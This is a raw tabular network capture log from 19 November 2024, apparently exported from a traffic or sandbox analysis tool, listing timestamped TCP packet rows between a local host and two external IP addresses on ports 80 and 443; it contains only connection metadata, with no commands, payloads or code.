Nov 19, 2024 20:05:26.510101080 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.510497093 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510592937 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.510689974 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510695934 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510761023 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.510854959 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510868073 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510884047 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510895967 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510902882 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510907888 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.510909081 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510915041 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510915995 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.510921955 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510926962 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510934114 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510946035 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510961056 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510967016 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510972977 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510978937 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.510979891 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.510992050 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.511033058 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.511066914 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.511415005 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.511420965 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.511424065 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.511486053 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.511568069 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.511579990 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.511590004 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.511591911 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.511599064 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.511605024 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.511610985 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.511615038 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.511619091 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.511723995 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.511842012 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.511848927 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.511913061 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.549283028 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549309969 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549320936 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549377918 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.549387932 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549422026 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.549424887 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549436092 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549463034 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.549473047 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.549546003 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549556017 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549567938 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549591064 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.549613953 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.549707890 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549747944 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.549760103 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549773932 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549799919 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.549814939 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.549860001 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549871922 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549882889 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549899101 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.549909115 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.549932957 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.549959898 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549973011 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.549999952 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.550051928 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.550075054 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550087929 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550113916 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.550126076 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.550204992 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550218105 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550230026 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550241947 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550247908 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.550266027 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.550293922 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.550395966 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550407887 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550420046 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550430059 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550436020 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.550442934 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550463915 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.550494909 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.550610065 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550622940 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550636053 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550647974 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550654888 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.550669909 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.550699949 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.550827980 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550841093 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550852060 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550863981 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550877094 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550879955 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.550885916 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.550889015 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550901890 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.550919056 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.550939083 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.555531025 CET	443	49743	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.555592060 CET	443	49743	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.555649042 CET	49743	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.557151079 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.557202101 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.557209015 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.557214022 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.557241917 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.557262897 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.557307959 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.557320118 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.557332993 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.557343006 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.557358027 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.557368994 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.557394028 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.557437897 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.557450056 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.557476997 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.557487965 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.557501078 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.557503939 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.557524920 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.557538033 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.557576895 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.557604074 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.557615042 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.557617903 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.557657003 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.557657003 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.586018085 CET	49743	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.586036921 CET	443	49743	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.586072922 CET	49743	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.586078882 CET	443	49743	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.594593048 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.594651937 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.594666004 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.594688892 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.594721079 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.594721079 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.594789982 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.594803095 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.594815969 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.594831944 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.594840050 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.594854116 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.594898939 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.595181942 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595220089 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.595246077 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595259905 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595293045 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.595315933 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.595330954 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595376968 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.595387936 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595401049 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595412016 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595451117 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.595472097 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595501900 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.595510960 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.595518112 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595556974 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.595602036 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595613956 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595626116 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595638990 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595642090 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.595662117 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.595685005 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.595730066 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595769882 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.595789909 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595803022 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595832109 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.595851898 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.595877886 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595887899 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595921993 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.595962048 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595974922 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.595985889 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596004009 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.596034050 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.596136093 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596147060 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596159935 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596172094 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596177101 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.596184969 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596198082 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596208096 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.596210003 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596232891 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.596268892 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.596441031 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596453905 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596466064 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596476078 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596482038 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.596498013 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.596524954 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.596595049 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596605062 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596616983 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596627951 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596638918 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.596671104 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.596864939 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596877098 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596888065 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596899986 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596911907 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596915007 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.596923113 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596930027 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.596935987 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596950054 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596956015 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.596961021 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.596977949 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.597004890 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.597101927 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597146988 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.597292900 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597306967 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597320080 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597331047 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597331047 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.597343922 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597351074 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.597357988 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597369909 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597383022 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597393036 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.597395897 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597423077 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.597431898 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.597621918 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597640038 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597652912 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597664118 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.597665071 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597677946 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597687960 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597697020 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.597700119 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597712040 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597723961 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.597731113 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.597749949 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.597768068 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.635901928 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.635950089 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.635962963 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.635998011 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.636058092 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636060953 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.636077881 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636091948 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636102915 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.636104107 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636132956 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.636182070 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.636219025 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636231899 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636245012 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636257887 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636300087 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.636341095 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.636373997 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636387110 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636399984 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636423111 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.636455059 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.636495113 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636506081 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636518002 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636529922 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636540890 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.636543036 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636555910 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636569977 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.636598110 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.636626959 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636674881 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.636713028 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636725903 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636738062 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636749983 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636759996 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.636761904 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636780977 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.636807919 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.636826038 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:26.636872053 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:26.788752079 CET	49748	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.788815975 CET	443	49748	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:26.788889885 CET	49748	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.790050030 CET	49748	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:26.790081024 CET	443	49748	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.000005960 CET	443	49746	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.000484943 CET	49746	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.000504017 CET	443	49746	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.000994921 CET	49746	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.001000881 CET	443	49746	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.033405066 CET	443	49747	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.033958912 CET	49747	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.033982992 CET	443	49747	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.035007000 CET	49747	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.035012960 CET	443	49747	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.060122967 CET	443	49744	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.060616016 CET	49744	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.060640097 CET	443	49744	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.061104059 CET	49744	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.061110973 CET	443	49744	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.078015089 CET	443	49745	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.078766108 CET	49745	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.078797102 CET	443	49745	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.079760075 CET	49745	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.079766989 CET	443	49745	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.121275902 CET	443	49746	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.121354103 CET	443	49746	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.121403933 CET	49746	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.121601105 CET	49746	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:27.121614933 CET	443	49746	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:27.121629953 CET	49746	443	192.168.2.7	13.107.246.45
